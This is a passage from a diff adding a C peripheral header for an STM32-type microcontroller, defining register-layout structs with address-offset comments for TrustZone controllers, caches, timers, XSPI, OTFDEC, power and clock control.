*/ + uint32_t RESERVED3[5]; /*!< Reserved3, Address offset: 0x2C-0x3C */ + __IO uint32_t MPCWM1ACFGR; /*!< TZSC memory 1 sub-region A watermark configuration register, Address offset: 0x40 */ + __IO uint32_t MPCWM1AR; /*!< TZSC memory 1 sub-region A watermark register, Address offset: 0x44 */ + __IO uint32_t MPCWM1BCFGR; /*!< TZSC memory 1 sub-region B watermark configuration register, Address offset: 0x48 */ + __IO uint32_t MPCWM1BR; /*!< TZSC memory 1 sub-region B watermark register, Address offset: 0x4C */ + __IO uint32_t MPCWM2ACFGR; /*!< TZSC memory 2 sub-region A watermark configuration register, Address offset: 0x50 */ + __IO uint32_t MPCWM2AR; /*!< TZSC memory 2 sub-region A watermark register, Address offset: 0x54 */ + __IO uint32_t MPCWM2BCFGR; /*!< TZSC memory 2 sub-region B watermark configuration register, Address offset: 0x58 */ + __IO uint32_t MPCWM2BR; /*!< TZSC memory 2 sub-region B watermark register, Address offset: 0x5C */ + __IO uint32_t MPCWM3ACFGR; /*!< TZSC memory 3 sub-region A watermark configuration register, Address offset: 0x60 */ + __IO uint32_t MPCWM3AR; /*!< TZSC memory 3 sub-region A watermark register, Address offset: 0x64 */ + uint32_t RESERVED4[2]; /*!< Reserved4, Address offset: 0x68-0x6C */ + __IO uint32_t MPCWM4ACFGR; /*!< TZSC memory 4 sub-region A watermark configuration register, Address offset: 0x70 */ + __IO uint32_t MPCWM4AR; /*!< TZSC memory 4 sub-region A watermark register, Address offset: 0x74 */ + uint32_t RESERVED5[2]; /*!< Reserved5, Address offset: 0x78-0x7C */ + __IO uint32_t MPCWM5ACFGR; /*!< TZSC memory 5 sub-region A watermark configuration register, Address offset: 0x80 */ + __IO uint32_t MPCWM5AR; /*!< TZSC memory 5 sub-region A watermark register, Address offset: 0x84 */ + __IO uint32_t MPCWM5BCFGR; /*!< TZSC memory 5 sub-region B watermark configuration register, Address offset: 0x88 */ + __IO uint32_t MPCWM5BR; /*!< TZSC memory 5 sub-region B watermark register, Address offset: 0x8C */ +} GTZC_TZSC_TypeDef; + +typedef struct +{ + __IO uint32_t CR; /*!< MPCBBx control register, Address offset: 0x00 */ + uint32_t RESERVED1[3]; /*!< Reserved1, Address offset: 0x04-0x0C */ + __IO uint32_t CFGLOCKR1; /*!< MPCBBx Configuration lock register, Address offset: 0x10 */ + uint32_t RESERVED2[59]; /*!< Reserved2, Address offset: 0x14-0xFC */ + __IO uint32_t SECCFGR[32]; /*!< MPCBBx security configuration registers, Address offset: 0x100-0x180 */ + uint32_t RESERVED3[32]; /*!< Reserved3, Address offset: 0x180-0x200 */ + __IO uint32_t PRIVCFGR[32]; /*!< MPCBBx privilege configuration registers, Address offset: 0x200-0x280 */ +} GTZC_MPCBB_TypeDef; + +typedef struct +{ + __IO uint32_t IER1; /*!< TZIC interrupt enable register 1, Address offset: 0x00 */ + __IO uint32_t IER2; /*!< TZIC interrupt enable register 2, Address offset: 0x04 */ + __IO uint32_t IER3; /*!< TZIC interrupt enable register 3, Address offset: 0x08 */ + __IO uint32_t IER4; /*!< TZIC interrupt enable register 4, Address offset: 0x0C */ + __IO uint32_t SR1; /*!< TZIC status register 1, Address offset: 0x10 */ + __IO uint32_t SR2; /*!< TZIC status register 2, Address offset: 0x14 */ + __IO uint32_t SR3; /*!< TZIC status register 3, Address offset: 0x18 */ + __IO uint32_t SR4; /*!< TZIC status register 4, Address offset: 0x1C */ + __IO uint32_t FCR1; /*!< TZIC flag clear register 1, Address offset: 0x20 */ + __IO uint32_t FCR2; /*!< TZIC flag clear register 2, Address offset: 0x24 */ + __IO uint32_t FCR3; /*!< TZIC flag clear register 3, Address offset: 0x28 */ + __IO uint32_t FCR4; /*!< TZIC flag clear register 3, Address offset: 0x2C */ +} GTZC_TZIC_TypeDef; + +/** + * @brief Instruction Cache + */ +typedef struct +{ + __IO uint32_t CR; /*!< ICACHE control register, Address offset: 0x00 */ + __IO uint32_t SR; /*!< ICACHE status register, Address offset: 0x04 */ + __IO uint32_t IER; /*!< ICACHE interrupt enable register, Address offset: 0x08 */ + __IO uint32_t FCR; /*!< ICACHE Flag clear register, Address offset: 0x0C */ + __IO uint32_t HMONR; /*!< ICACHE hit monitor register, Address offset: 0x10 */ + __IO uint32_t MMONR; /*!< ICACHE miss monitor register, Address offset: 0x14 */ + uint32_t RESERVED1[2]; /*!< Reserved, Address offset: 0x018-0x01C */ + __IO uint32_t CRR0; /*!< ICACHE region 0 configuration register, Address offset: 0x20 */ + __IO uint32_t CRR1; /*!< ICACHE region 1 configuration register, Address offset: 0x24 */ + __IO uint32_t CRR2; /*!< ICACHE region 2 configuration register, Address offset: 0x28 */ + __IO uint32_t CRR3; /*!< ICACHE region 3 configuration register, Address offset: 0x2C */ +} ICACHE_TypeDef; + +/** + * @brief Data Cache + */ +typedef struct +{ + __IO uint32_t CR; /*!< DCACHE control register, Address offset: 0x00 */ + __IO uint32_t SR; /*!< DCACHE status register, Address offset: 0x04 */ + __IO uint32_t IER; /*!< DCACHE interrupt enable register, Address offset: 0x08 */ + __IO uint32_t FCR; /*!< DCACHE Flag clear register, Address offset: 0x0C */ + __IO uint32_t RHMONR; /*!< DCACHE Read hit monitor register, Address offset: 0x10 */ + __IO uint32_t RMMONR; /*!< DCACHE Read miss monitor register, Address offset: 0x14 */ + uint32_t RESERVED1[2]; /*!< Reserved, Address offset: 0x18-0x1C */ + __IO uint32_t WHMONR; /*!< DCACHE Write hit monitor register, Address offset: 0x20 */ + __IO uint32_t WMMONR; /*!< DCACHE Write miss monitor register, Address offset: 0x24 */ + __IO uint32_t CMDRSADDRR; /*!< DCACHE Command Start Address register, Address offset: 0x28 */ + __IO uint32_t CMDREADDRR; /*!< DCACHE Command End Address register, Address offset: 0x2C */ +} DCACHE_TypeDef; + +/** + * @brief PSSI + */ +typedef struct +{ + __IO uint32_t CR; /*!< PSSI control register, Address offset: 0x000 */ + __IO uint32_t SR; /*!< PSSI status register, Address offset: 0x004 */ + __IO uint32_t RIS; /*!< PSSI raw interrupt status register, Address offset: 0x008 */ + __IO uint32_t IER; /*!< PSSI interrupt enable register, Address offset: 0x00C */ + __IO uint32_t MIS; /*!< PSSI masked interrupt status register, Address offset: 0x010 */ + __IO uint32_t ICR; /*!< PSSI interrupt clear register, Address offset: 0x014 */ + __IO uint32_t RESERVED1[4]; /*!< Reserved, 0x018 - 0x024 */ + __IO uint32_t DR; /*!< PSSI data register, Address offset: 0x028 */ +} PSSI_TypeDef; + +/** + * @brief TIM + */ +typedef struct +{ + __IO uint32_t CR1; /*!< TIM control register 1, Address offset: 0x00 */ + __IO uint32_t CR2; /*!< TIM control register 2, Address offset: 0x04 */ + __IO uint32_t SMCR; /*!< TIM slave mode control register, Address offset: 0x08 */ + __IO uint32_t DIER; /*!< TIM DMA/interrupt enable register, Address offset: 0x0C */ + __IO uint32_t SR; /*!< TIM status register, Address offset: 0x10 */ + __IO uint32_t EGR; /*!< TIM event generation register, Address offset: 0x14 */ + __IO uint32_t CCMR1; /*!< TIM capture/compare mode register 1, Address offset: 0x18 */ + __IO uint32_t CCMR2; /*!< TIM capture/compare mode register 2, Address offset: 0x1C */ + __IO uint32_t CCER; /*!< TIM capture/compare enable register, Address offset: 0x20 */ + __IO uint32_t CNT; /*!< TIM counter register, Address offset: 0x24 */ + __IO uint32_t PSC; /*!< TIM prescaler, Address offset: 0x28 */ + __IO uint32_t ARR; /*!< TIM auto-reload register, Address offset: 0x2C */ + __IO uint32_t RCR; /*!< TIM repetition counter register, Address offset: 0x30 */ + __IO uint32_t CCR1; /*!< TIM capture/compare register 1, Address offset: 0x34 */ + __IO uint32_t CCR2; /*!< TIM capture/compare register 2, Address offset: 0x38 */ + __IO uint32_t CCR3; /*!< TIM capture/compare register 3, Address offset: 0x3C */ + __IO uint32_t CCR4; /*!< TIM capture/compare register 4, Address offset: 0x40 */ + __IO uint32_t BDTR; /*!< TIM break and dead-time register, Address offset: 0x44 */ + __IO uint32_t CCR5; /*!< TIM capture/compare register 5, Address offset: 0x48 */ + __IO uint32_t CCR6; /*!< TIM capture/compare register 6, Address offset: 0x4C */ + __IO uint32_t CCMR3; /*!< TIM capture/compare mode register 3, Address offset: 0x50 */ + __IO uint32_t DTR2; /*!< TIM deadtime register 2, Address offset: 0x54 */ + __IO uint32_t ECR; /*!< TIM encoder control register, Address offset: 0x58 */ + __IO uint32_t TISEL; /*!< TIM Input Selection register, Address offset: 0x5C */ + __IO uint32_t AF1; /*!< TIM alternate function option register 1, Address offset: 0x60 */ + __IO uint32_t AF2; /*!< TIM alternate function option register 2, Address offset: 0x64 */ + __IO uint32_t OR1 ; /*!< TIM option register, Address offset: 0x68 */ + uint32_t RESERVED0[220];/*!< Reserved, Address offset: 0x6C */ + __IO uint32_t DCR; /*!< TIM DMA control register, Address offset: 0x3DC */ + __IO uint32_t DMAR; /*!< TIM DMA address for full transfer, Address offset: 0x3E0 */ +} TIM_TypeDef; + +/** + * @brief LPTIMER + */ +typedef struct +{ + __IO uint32_t ISR; /*!< LPTIM Interrupt and Status register, Address offset: 0x00 */ + __IO uint32_t ICR; /*!< LPTIM Interrupt Clear register, Address offset: 0x04 */ + __IO uint32_t DIER; /*!< LPTIM Interrupt Enable register, Address offset: 0x08 */ + __IO uint32_t CFGR; /*!< LPTIM Configuration register, Address offset: 0x0C */ + __IO uint32_t CR; /*!< LPTIM Control register, Address offset: 0x10 */ + __IO uint32_t CCR1; /*!< LPTIM Capture/Compare register 1, Address offset: 0x14 */ + __IO uint32_t ARR; /*!< LPTIM Autoreload register, Address offset: 0x18 */ + __IO uint32_t CNT; /*!< LPTIM Counter register, Address offset: 0x1C */ + __IO uint32_t RESERVED0; /*!< Reserved, Address offset: 0x20 */ + __IO uint32_t CFGR2; /*!< LPTIM Configuration register 2, Address offset: 0x24 */ + __IO uint32_t RCR; /*!< LPTIM Repetition register, Address offset: 0x28 */ + __IO uint32_t CCMR1; /*!< LPTIM Capture/Compare mode register, Address offset: 0x2C */ + __IO uint32_t RESERVED1; /*!< Reserved, Address offset: 0x30 */ + __IO uint32_t CCR2; /*!< LPTIM Capture/Compare register 2, Address offset: 0x34 */ +} LPTIM_TypeDef; + +/** + * @brief Comparator + */ +typedef struct +{ + __IO uint32_t CSR; /*!< Comparator control and status register, Address offset: 0x00 */ +} COMP_TypeDef; + +typedef struct +{ + __IO uint32_t CSR_ODD; /*!< COMP control and status register located in register of comparator instance odd, used for bits common to several COMP instances, Address offset: 0x00 */ + __IO uint32_t CSR_EVEN; /*!< COMP control and status register located in register of comparator instance even, used for bits common to several COMP instances, Address offset: 0x04 */ +} COMP_Common_TypeDef; + +/** + * @brief Operational Amplifier (OPAMP) + */ +typedef struct +{ + __IO uint32_t CSR; /*!< OPAMP control/status register, Address offset: 0x00 */ + __IO uint32_t OTR; /*!< OPAMP offset trimming register for normal mode, Address offset: 0x04 */ + __IO uint32_t LPOTR; /*!< OPAMP offset trimming register for low power mode, Address offset: 0x08 */ +} OPAMP_TypeDef; + +typedef struct +{ + __IO uint32_t CSR; /*!< OPAMP control/status register, used for bits common to + several OPAMP instances, Address offset: 0x00 */ +} OPAMP_Common_TypeDef; + + +/** + * @brief MDF/ADF + */ +typedef struct +{ + __IO uint32_t GCR; /*!< MDF Global Control register, Address offset: 0x00 */ + __IO uint32_t CKGCR; /*!< MDF Clock Generator Control Register, Address offset: 0x04 */ + uint32_t RESERVED1[6]; /*!< Reserved, 0x08-0x1C */ + __IO uint32_t OR; /*!< MDF Option Register, Address offset: 0x20 */ +}MDF_TypeDef; + +/** + * @brief MDF/ADF filter + */ +typedef struct +{ + __IO uint32_t SITFCR; /*!< MDF Serial Interface Control Register, Address offset: 0x80 */ + __IO uint32_t BSMXCR; /*!< MDF Bitstream Matrix Control Register, Address offset: 0x84 */ + __IO uint32_t DFLTCR; /*!< MDF Digital Filter Control Register, Address offset: 0x88 */ + __IO uint32_t DFLTCICR; /*!< MDF MCIC Configuration Register, Address offset: 0x8C */ + __IO uint32_t DFLTRSFR; /*!< MDF Reshape Filter Configuration Register, Address offset: 0x90 */ + __IO uint32_t DFLTINTR; /*!< MDF Integrator Configuration Register, Address offset: 0x94 */ + __IO uint32_t OLDCR; /*!< MDF Out-Of Limit Detector Control Register, Address offset: 0x98 */ + __IO uint32_t OLDTHLR; /*!< MDF OLD Threshold Low Register, Address offset: 0x9C */ + __IO uint32_t OLDTHHR; /*!< MDF OLD Threshold High Register, Address offset: 0xA0 */ + __IO uint32_t DLYCR; /*!< MDF Delay control Register, Address offset: 0xA4 */ + __IO uint32_t SCDCR; /*!< MDF short circuit detector control Register, Address offset: 0xA8 */ + __IO uint32_t DFLTIER; /*!< MDF DFLT Interrupt enable Register, Address offset: 0xAC */ + __IO uint32_t DFLTISR; /*!< MDF DFLT Interrupt status Register, Address offset: 0xB0 */ + __IO uint32_t OECCR; /*!< MDF Offset Error Compensation Control Register, Address offset: 0xB4 */ + __IO uint32_t SADCR; /*!< MDF SAD Control Register, Address offset: 0xB8 */ + __IO uint32_t SADCFGR; /*!< MDF SAD configuration register, Address offset: 0xBC */ + __IO uint32_t SADSDLVR; /*!< MDF SAD Sound level Register, Address offset: 0xC0 */ + __IO uint32_t SADANLVR; /*!< MDF SAD Ambient Noise level Register, Address offset: 0xC4 */ + uint32_t RESERVED1[9]; /*!< Reserved, 0xC8-0xE8 */ + __IO uint32_t SNPSDR; /*!< MDF Snapshot Data Register, Address offset: 0xEC */ + __IO uint32_t DFLTDR; /*!< MDF Digital Filter Data Register, Address offset: 0xF0 */ +} MDF_Filter_TypeDef; + +/** + * @brief OCTO Serial Peripheral Interface + */ + +typedef struct +{ + __IO uint32_t CR; /*!< XSPI Control register, Address offset: 0x000 */ + uint32_t RESERVED; /*!< Reserved, Address offset: 0x004 */ + __IO uint32_t DCR1; /*!< XSPI Device Configuration register 1, Address offset: 0x008 */ + __IO uint32_t DCR2; /*!< XSPI Device Configuration register 2, Address offset: 0x00C */ + __IO uint32_t DCR3; /*!< XSPI Device Configuration register 3, Address offset: 0x010 */ + __IO uint32_t DCR4; /*!< XSPI Device Configuration register 4, Address offset: 0x014 */ + uint32_t RESERVED1[2]; /*!< Reserved, Address offset: 0x018-0x01C */ + __IO uint32_t SR; /*!< XSPI Status register, Address offset: 0x020 */ + __IO uint32_t FCR; /*!< XSPI Flag Clear register, Address offset: 0x024 */ + uint32_t RESERVED2[6]; /*!< Reserved, Address offset: 0x028-0x03C */ + __IO uint32_t DLR; /*!< XSPI Data Length register, Address offset: 0x040 */ + uint32_t RESERVED3; /*!< Reserved, Address offset: 0x044 */ + __IO uint32_t AR; /*!< XSPI Address register, Address offset: 0x048 */ + uint32_t RESERVED4; /*!< Reserved, Address offset: 0x04C */ + __IO uint32_t DR; /*!< XSPI Data register, Address offset: 0x050 */ + uint32_t RESERVED5[11]; /*!< Reserved, Address offset: 0x054-0x07C */ + __IO uint32_t PSMKR; /*!< XSPI Polling Status Mask register, Address offset: 0x080 */ + uint32_t RESERVED6; /*!< Reserved, Address offset: 0x084 */ + __IO uint32_t PSMAR; /*!< XSPI Polling Status Match register, Address offset: 0x088 */ + uint32_t RESERVED7; /*!< Reserved, Address offset: 0x08C */ + __IO uint32_t PIR; /*!< XSPI Polling Interval register, Address offset: 0x090 */ + uint32_t RESERVED8[27]; /*!< Reserved, Address offset: 0x094-0x0FC */ + __IO uint32_t CCR; /*!< XSPI Communication Configuration register, Address offset: 0x100 */ + uint32_t RESERVED9; /*!< Reserved, Address offset: 0x104 */ + __IO uint32_t TCR; /*!< XSPI Timing Configuration register, Address offset: 0x108 */ + uint32_t RESERVED10; /*!< Reserved, Address offset: 0x10C */ + __IO uint32_t IR; /*!< XSPI Instruction register, Address offset: 0x110 */ + uint32_t RESERVED11[3]; /*!< Reserved, Address offset: 0x114-0x11C */ + __IO uint32_t ABR; /*!< XSPI Alternate Bytes register, Address offset: 0x120 */ + uint32_t RESERVED12[3]; /*!< Reserved, Address offset: 0x124-0x12C */ + __IO uint32_t LPTR; /*!< XSPI Low Power Timeout register, Address offset: 0x130 */ + uint32_t RESERVED13[3]; /*!< Reserved, Address offset: 0x134-0x13C */ + __IO uint32_t WPCCR; /*!< XSPI Wrap Communication Configuration register, Address offset: 0x140 */ + uint32_t RESERVED14; /*!< Reserved, Address offset: 0x144 */ + __IO uint32_t WPTCR; /*!< XSPI Wrap Timing Configuration register, Address offset: 0x148 */ + uint32_t RESERVED15; /*!< Reserved, Address offset: 0x14C */ + __IO uint32_t WPIR; /*!< XSPI Wrap Instruction register, Address offset: 0x150 */ + uint32_t RESERVED16[3]; /*!< Reserved, Address offset: 0x154-0x15C */ + __IO uint32_t WPABR; /*!< XSPI Wrap Alternate Bytes register, Address offset: 0x160 */ + uint32_t RESERVED17[7]; /*!< Reserved, Address offset: 0x164-0x17C */ + __IO uint32_t WCCR; /*!< XSPI Write Communication Configuration register, Address offset: 0x180 */ + uint32_t RESERVED18; /*!< Reserved, Address offset: 0x184 */ + __IO uint32_t WTCR; /*!< XSPI Write Timing Configuration register, Address offset: 0x188 */ + uint32_t RESERVED19; /*!< Reserved, Address offset: 0x18C */ + __IO uint32_t WIR; /*!< XSPI Write Instruction register, Address offset: 0x190 */ + uint32_t RESERVED20[3]; /*!< Reserved, Address offset: 0x194-0x19C */ + __IO uint32_t WABR; /*!< XSPI Write Alternate Bytes register, Address offset: 0x1A0 */ + uint32_t RESERVED21[23]; /*!< Reserved, Address offset: 0x1A4-0x1FC */ + __IO uint32_t HLCR; /*!< XSPI Hyperbus Latency Configuration register, Address offset: 0x200 */ +} XSPI_TypeDef; + +typedef XSPI_TypeDef OCTOSPI_TypeDef; + + +/** + * @brief OTFDEC register + */ +typedef struct +{ + __IO uint32_t REG_CONFIGR; /*!< OTFDEC Region Configuration register, Address offset: 0x20 + 0x30 * (x -1) (x = 1 to 4) */ + __IO uint32_t REG_START_ADDR; /*!< OTFDEC Region Start Address register, Address offset: 0x24 + 0x30 * (x -1) (x = 1 to 4) */ + __IO uint32_t REG_END_ADDR; /*!< OTFDEC Region End Address register, Address offset: 0x28 + 0x30 * (x -1) (x = 1 to 4) */ + __IO uint32_t REG_NONCER0; /*!< OTFDEC Region Nonce register 0, Address offset: 0x2C + 0x30 * (x -1) (x = 1 to 4) */ + __IO uint32_t REG_NONCER1; /*!< OTFDEC Region Nonce register 1, Address offset: 0x30 + 0x30 * (x -1) (x = 1 to 4) */ + __IO uint32_t REG_KEYR0; /*!< OTFDEC Region Key register 0, Address offset: 0x34 + 0x30 * (x -1) (x = 1 to 4) */ + __IO uint32_t REG_KEYR1; /*!< OTFDEC Region Key register 1, Address offset: 0x38 + 0x30 * (x -1) (x = 1 to 4) */ + __IO uint32_t REG_KEYR2; /*!< OTFDEC Region Key register 2, Address offset: 0x3C + 0x30 * (x -1) (x = 1 to 4) */ + __IO uint32_t REG_KEYR3; /*!< OTFDEC Region Key register 3, Address offset: 0x40 + 0x30 * (x -1) (x = 1 to 4) */ +} OTFDEC_Region_TypeDef; + +typedef struct +{ + __IO uint32_t CR; /*!< OTFDEC Control register, Address offset: 0x000 */ + uint32_t RESERVED1[3]; /*!< Reserved, Address offset: 0x004-0x00C */ + __IO uint32_t PRIVCFGR; /*!< OTFDEC Privileged access control Configuration register, Address offset: 0x010 */ + uint32_t RESERVED2[187]; /*!< Reserved, Address offset: 0x014-0x2FC */ + __IO uint32_t ISR; /*!< OTFDEC Interrupt Status register, Address offset: 0x300 */ + __IO uint32_t ICR; /*!< OTFDEC Interrupt Clear register, Address offset: 0x304 */ + __IO uint32_t IER; /*!< OTFDEC Interrupt Enable register, Address offset: 0x308 */ +} OTFDEC_TypeDef; + + +/** + * @brief Serial Peripheral Interface IO Manager + */ +typedef struct +{ + __IO uint32_t CR; /*!< OCTOSPIM IO Manager Control register, Address offset: 0x00 */ + __IO uint32_t PCR[8]; /*!< OCTOSPIM IO Manager Port[1:8] Configuration register, Address offset: 0x04-0x20 */ +} XSPIM_TypeDef; + +typedef XSPIM_TypeDef OCTOSPIM_TypeDef; + +/** + * @brief Power Control + */ +typedef struct +{ + __IO uint32_t CR1; /*!< Power control register 1, Address offset: 0x00 */ + __IO uint32_t CR2; /*!< Power control register 2, Address offset: 0x04 */ + __IO uint32_t CR3; /*!< Power control register 3, Address offset: 0x08 */ + __IO uint32_t VOSR; /*!< Power voltage scaling register, Address offset: 0x0C */ + __IO uint32_t SVMCR; /*!< Power supply voltage monitoring control register, Address offset: 0x10 */ + __IO uint32_t WUCR1; /*!< Power wakeup control register 1, Address offset: 0x14 */ + __IO uint32_t WUCR2; /*!< Power wakeup control register 2, Address offset: 0x18 */ + __IO uint32_t WUCR3; /*!< Power wakeup control register 3, Address offset: 0x1C */ + __IO uint32_t BDCR1; /*!< Power backup domain control register 1, Address offset: 0x20 */ + __IO uint32_t BDCR2; /*!< Power backup domain control register 2, Address offset: 0x24 */ + __IO uint32_t DBPR; /*!< Power disable backup domain register, Address offset: 0x28 */ + __IO uint32_t UCPDR; /*!< Power USB Type-C and Power Delivery register, Address offset: 0x2C */ + __IO uint32_t SECCFGR; /*!< Power Security configuration register, Address offset: 0x30 */ + __IO uint32_t PRIVCFGR; /*!< Power privilege control register, Address offset: 0x34 */ + __IO uint32_t SR; /*!< Power status register, Address offset: 0x38 */ + __IO uint32_t SVMSR; /*!< Power supply voltage monitoring status register, Address offset: 0x3C */ + __IO uint32_t BDSR; /*!< Power backup domain status register, Address offset: 0x40 */ + __IO uint32_t WUSR; /*!< Power wakeup status register, Address offset: 0x44 */ + __IO uint32_t WUSCR; /*!< Power wakeup status clear register, Address offset: 0x48 */ + __IO uint32_t APCR; /*!< Power apply pull configuration register, Address offset: 0x4C */ + __IO uint32_t PUCRA; /*!< Power Port A pull-up control register, Address offset: 0x50 */ + __IO uint32_t PDCRA; /*!< Power Port A pull-down control register, Address offset: 0x54 */ + __IO uint32_t PUCRB; /*!< Power Port B pull-up control register, Address offset: 0x58 */ + __IO uint32_t PDCRB; /*!< Power Port B pull-down control register, Address offset: 0x5C */ + __IO uint32_t PUCRC; /*!< Power Port C pull-up control register, Address offset: 0x60 */ + __IO uint32_t PDCRC; /*!< Power Port C pull-down control register, Address offset: 0x64 */ + __IO uint32_t PUCRD; /*!< Power Port D pull-up control register, Address offset: 0x68 */ + __IO uint32_t PDCRD; /*!< Power Port D pull-down control register, Address offset: 0x6C */ + __IO uint32_t PUCRE; /*!< Power Port E pull-up control register, Address offset: 0x70 */ + __IO uint32_t PDCRE; /*!< Power Port E pull-down control register, Address offset: 0x74 */ + __IO uint32_t PUCRF; /*!< Power Port F pull-up control register, Address offset: 0x78 */ + __IO uint32_t PDCRF; /*!< Power Port F pull-down control register, Address offset: 0x7C */ + __IO uint32_t PUCRG; /*!< Power Port G pull-up control register, Address offset: 0x80 */ + __IO uint32_t PDCRG; /*!< Power Port G pull-down control register, Address offset: 0x84 */ + __IO uint32_t PUCRH; /*!< Power Port H pull-up control register, Address offset: 0x88 */ + __IO uint32_t PDCRH; /*!< Power Port H pull-down control register, Address offset: 0x8C */ + __IO uint32_t PUCRI; /*!< Power Port I pull-up control register, Address offset: 0x90 */ + __IO uint32_t PDCRI; /*!< Power Port I pull-down control register, Address offset: 0x94 */ +} PWR_TypeDef; + +/** + * @brief SRAMs configuration controller + */ +typedef struct +{ + __IO uint32_t CR; /*!< Control Register, Address offset: 0x00 */ + __IO uint32_t IER; /*!< Interrupt Enable Register, Address offset: 0x04 */ + __IO uint32_t ISR; /*!< Interrupt Status Register, Address offset: 0x08 */ + __IO uint32_t SEAR; /*!< ECC Single Error Address Register, Address offset: 0x0C */ + __IO uint32_t DEAR; /*!< ECC Double Error Address Register, Address offset: 0x10 */ + __IO uint32_t ICR; /*!< Interrupt Clear Register, Address offset: 0x14 */ + __IO uint32_t WPR1; /*!< SRAM Write Protection Register 1, Address offset: 0x18 */ + __IO uint32_t WPR2; /*!< SRAM Write Protection Register 2, Address offset: 0x1C */ + uint32_t RESERVED; /*!< Reserved, Address offset: 0x20 */ + __IO uint32_t ECCKEY; /*!< SRAM ECC Key Register, Address offset: 0x24 */ + __IO uint32_t ERKEYR; /*!< SRAM Erase Key Register, Address offset: 0x28 */ +}RAMCFG_TypeDef; + +/** + * @brief Reset and Clock Control + */ +typedef struct +{ + __IO uint32_t CR; /*!< RCC clock control register Address offset: 0x00 */ + uint32_t RESERVED0; /*!< Reserved Address offset: 0x04 */ + __IO uint32_t ICSCR1; /*!< RCC internal clock sources calibration register 1 Address offset: 0x08 */ + __IO uint32_t ICSCR2; /*!< RCC internal clock sources calibration register 2 Address offset: 0x0C */ + __IO uint32_t ICSCR3; /*!< RCC internal clock sources calibration register 3 Address offset: 0x10 */ + __IO uint32_t CRRCR; /*!< RCC Clock Recovery RC Register Address offset: 0x14 */ + uint32_t RESERVED1; /*!< Reserved Address offset: 0x18 */ + __IO uint32_t CFGR1; /*!< RCC clock configuration register 1 Address offset: 0x1C */ + __IO uint32_t CFGR2; /*!< RCC clock configuration register 2 Address offset: 0x20 */ + __IO uint32_t CFGR3; /*!< RCC clock configuration register 3 Address offset: 0x24 */ + __IO uint32_t PLL1CFGR; /*!< PLL1 Configuration Register Address offset: 0x28 */ + __IO uint32_t PLL2CFGR; /*!< PLL2 Configuration Register Address offset: 0x2C */ + __IO uint32_t PLL3CFGR; /*!< PLL3 Configuration Register Address offset: 0x30 */ + __IO uint32_t PLL1DIVR; /*!< PLL1 Dividers Configuration Register Address offset: 0x34 */ + __IO uint32_t PLL1FRACR; /*!< PLL1 Fractional Divider Configuration Register Address offset: 0x38 */ + __IO uint32_t PLL2DIVR; /*!< PLL2 Dividers Configuration Register Address offset: 0x3C */ + __IO uint32_t PLL2FRACR; /*!< PLL2 Fractional Divider Configuration Register Address offset: 0x40 */ + __IO uint32_t PLL3DIVR; /*!< PLL3 Dividers Configuration Register Address offset: 0x44 */ + __IO uint32_t PLL3FRACR; /*!< PLL3 Fractional Divider Configuration Register Address offset: 0x48 */ + uint32_t RESERVED2; /*!< Reserved Address offset: 0x4C */ + __IO uint32_t CIER; /*!< Clock Interrupt Enable Register Address offset: 0x50 */ + __IO uint32_t CIFR; /*!< Clock Interrupt Flag Register Address offset: 0x54 */ + __IO uint32_t CICR; /*!< Clock Interrupt Clear Register Address offset: 0x58 */ + uint32_t RESERVED3; /*!< Reserved Address offset: 0x5C */ + __IO uint32_t AHB1RSTR; /*!< AHB1 Peripherals Reset Register Address offset: 0x60 */ + __IO uint32_t AHB2RSTR1; /*!< AHB2 Peripherals Reset Register 1 Address offset: 0x64 */ + __IO uint32_t AHB2RSTR2; /*!< AHB2 Peripherals Reset Register 2 Address offset: 0x68 */ + __IO uint32_t AHB3RSTR; /*!< AHB3 Peripherals Reset Register Address offset: 0x6C */ + uint32_t RESERVED4; /*!< Reserved Address offset: 0x70 */ + __IO uint32_t APB1RSTR1; /*!< APB1 Peripherals Reset Register 1 Address offset: 0x74 */ + __IO uint32_t APB1RSTR2; /*!< APB1 Peripherals Reset Register 2 Address offset: 0x78 */ + __IO uint32_t APB2RSTR; /*!< APB2 Peripherals Reset Register Address offset: 0x7C */ + __IO uint32_t APB3RSTR; /*!< APB3 Peripherals Reset Register Address offset: 0x80 */ + uint32_t RESERVED5; /*!< Reserved Address offset: 0x84 */ + __IO uint32_t AHB1ENR; /*!< AHB1 Peripherals Clock Enable Register Address offset: 0x88 */ + __IO uint32_t AHB2ENR1; /*!< AHB2 Peripherals Clock Enable Register 1 Address offset: 0x8C */ + __IO uint32_t AHB2ENR2; /*!< AHB2 Peripherals Clock Enable Register 2 Address offset: 0x90 */ + __IO uint32_t AHB3ENR; /*!< AHB3 Peripherals Clock Enable Register Address offset: 0x94 */ + uint32_t RESERVED6; /*!< Reserved Address offset: 0x98 */ + __IO uint32_t APB1ENR1; /*!< APB1 Peripherals Clock Enable Register 1 Address offset: 0x9C */ + __IO uint32_t APB1ENR2; /*!< APB1 Peripherals Clock Enable Register 2 Address offset: 0xA0 */ + __IO uint32_t APB2ENR; /*!< APB2 Peripherals Clock Enable Register Address offset: 0xA4 */ + __IO uint32_t APB3ENR; /*!< APB3 Peripherals Clock Enable Register Address offset: 0xA8 */ + uint32_t RESERVED7; /*!< Reserved Address offset: 0xAC */ + __IO uint32_t AHB1SMENR; /*!< AHB1 Peripherals Clock Enable in Sleep and Stop Modes Register Address offset: 0xB0 */ + __IO uint32_t AHB2SMENR1; /*!< AHB2 Peripherals Clock Enable in Sleep and Stop Modes Register 1 Address offset: 0xB4 */ + __IO uint32_t AHB2SMENR2; /*!< AHB2 Peripherals Clock Enable in Sleep and Stop Modes Register 2 Address offset: 0xB8 */ + __IO uint32_t AHB3SMENR; /*!< AHB3 Peripherals Clock Enable in Sleep and Stop Modes Register Address offset: 0xBC */ + uint32_t RESERVED8; /*!< Reserved Address offset: 0xC0 */ + __IO uint32_t APB1SMENR1; /*!< APB1 Peripherals Clock Enable in Sleep and Stop Modes Register 1 Address offset: 0xC4 */ + __IO uint32_t APB1SMENR2; /*!< APB1 Peripherals Clock Enable in Sleep and Stop Modes Register 2 Address offset: 0xC8 */ + __IO uint32_t APB2SMENR; /*!< APB2 Peripherals Clock Enable in Sleep and Stop Modes Register 1 Address offset: 0xCC */ + __IO uint32_t APB3SMENR; /*!< APB3 Peripherals Clock Enable in Sleep and Stop Modes Register 2 Address offset: 0xD0 */ + uint32_t RESERVED9; /*!< Reserved Address offset: 0xD4 */ + __IO uint32_t SRDAMR; /*!< SRD Autonomous Mode Register Address offset: 0xD8 */ + uint32_t RESERVED10; /*!< Reserved, Address offset: 0xDC */ + __IO uint32_t CCIPR1; /*!< IPs Clocks Configuration Register 1 Address offset: 0xE0 */ + __IO uint32_t 